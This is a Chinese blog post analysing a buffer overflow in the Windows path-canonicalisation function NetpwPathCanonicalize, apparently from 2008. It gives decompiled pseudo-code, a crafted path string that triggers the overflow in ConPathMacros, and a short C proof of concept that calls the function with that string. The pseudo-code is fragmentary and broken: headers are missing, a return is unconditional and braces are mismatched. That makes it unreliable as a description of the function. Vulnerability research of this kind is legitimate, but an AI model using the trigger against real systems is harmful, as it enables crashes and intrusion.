NetpwPathCanonicalize(MS06-040也是這個函數,具體信息請搜索)簡單說下這個函數:
該函數用於標準化一個路徑,一般用於本地調用,若調用者指定了一個遠程計算機名將會使用RPC。
1.相對路徑 e.g. foo\bar
2.絕對路徑 e.g. \foo\bar
3.UNC 路徑 e.g. \\computer\share\foo
4.全路徑 e.g. d:\foo\bar
DWORD
NetpwPathCanonicalize(
LPWSTR PathName, //需要標準化的路徑
LPWSTR Outbuf, //存儲標準化後的路徑的Buffer
DWORD OutbufLen, //Buffer長度
LPWSTR Prefix, //可選參數,當PathName是相對路徑時有用
LPDWORD PathType, //存儲路徑類型
DWORD Flags // 保留,爲0
)
{
bool v7;
int result;
Prefix = (LPWSTR)*PathType;
{
if ( v7 || (result = NetpwPathType(Prefix, (int)&Flags, 0), !result) )
{
if ( OutbufLen != 0 )
{
*Outbuf = 0;
result = CanonPathName(Prefix, PathName, Outbuf, OutbufLen, 0); //核心函數,主要處理在這裏,問題也出在這裏
if ( !result )
result = NetpwPathType(Outbuf, (int)PathType, 0);
}
else
{
result = 2123;
}
}
}
}
{
size_t preLen;
size_t pathLen;
wchar_t pathBuffer[MAX_PATH*2 + 1];
{
preLen = wcslen(PathPrefix);
if ( preLen != 0)
{
if ( preLen > 520 ) //520 = sizeof(pathBuffer) - 1
return 0x7Bu; // ERROR_INVALID_NAME
wcscpy(pathBuffer, PathPrefix);
if ( pathBuffer[preLen-1] != '\\' && pathBuffer[preLen-1] != '/') //判斷前綴是否以'\'或'/'結尾
{
wcscat(pathBuffer, L"\\");
++preLen;
}
if ( PathName[0] == '\\' || PathName[0] == '/' )
++pathLen;
}
}
else
{
pathBuffer[0] = 0;
}
pathLen = wcslen(PathName);
return 0x7Bu; // ERROR_INVALID_NAME
{
do //該循環把路徑中的'/'轉換成'\'
{
if ( *pathBuffer == '/' )
*pathBuffer = '\\';
++pathBuffer;
}
while ( *pathBuffer );
}
if ( !sub_71C4A2CA() && !ConPathMacros(pathBuffer) ) //ConPathMacros中存在緩衝區溢出漏洞!!!
return 0x7Bu;
pathLen = 2 * wcslen(&pathBuffer) + 2;
if ( pathLen > BufferSize )
{
if ( RetSize )
*RetSize = pathLen;
result = 0x84Bu;
}
else
{
wcscpy(Buffer, &pathBuffer);
result = 0;
}
return result;
}
在測試時大家可以把函數ConPathMacros單獨提取出來,傳入一個路徑,看其是怎樣去掉路徑中的\..和\.宏
形如".\\\\x\\..\\..\\aaaaaaaaaaaaaaaaaaaaaaaaaaaaa"即可導致函數ConPathMacros漏洞的觸發
{
WCHAR szBuffer[] = L".\\\\x\\..\\..\\aaaaaaaaaaaaaaaaaaaaaaaaaaaa";
//printf("%S\n", szBuffer);
if(h != NULL)
{
NetpwPathCanonicalize = (pNetpwPathCanonicalize)GetProcAddress(h, "NetpwPathCanonicalize");
if(NetpwPathCanonicalize != NULL)
{
WCHAR Buffer[256] = L"";
DWORD type = 1000; //不能爲0,否則構造的路徑過不了NetpwPathType的檢查
DWORD ret = NetpwPathCanonicalize(szBuffer, Buffer, 512, NULL, &type, 0);
printf("ret = %x\n", ret);
printf("%S\n", Buffer);
}
FreeLibrary(h);
}
return 0;
}
本文來自CSDN博客,轉載請標明出處:http://blog.csdn.net/Delphiscn/archive/2008/11/10/3266108.aspx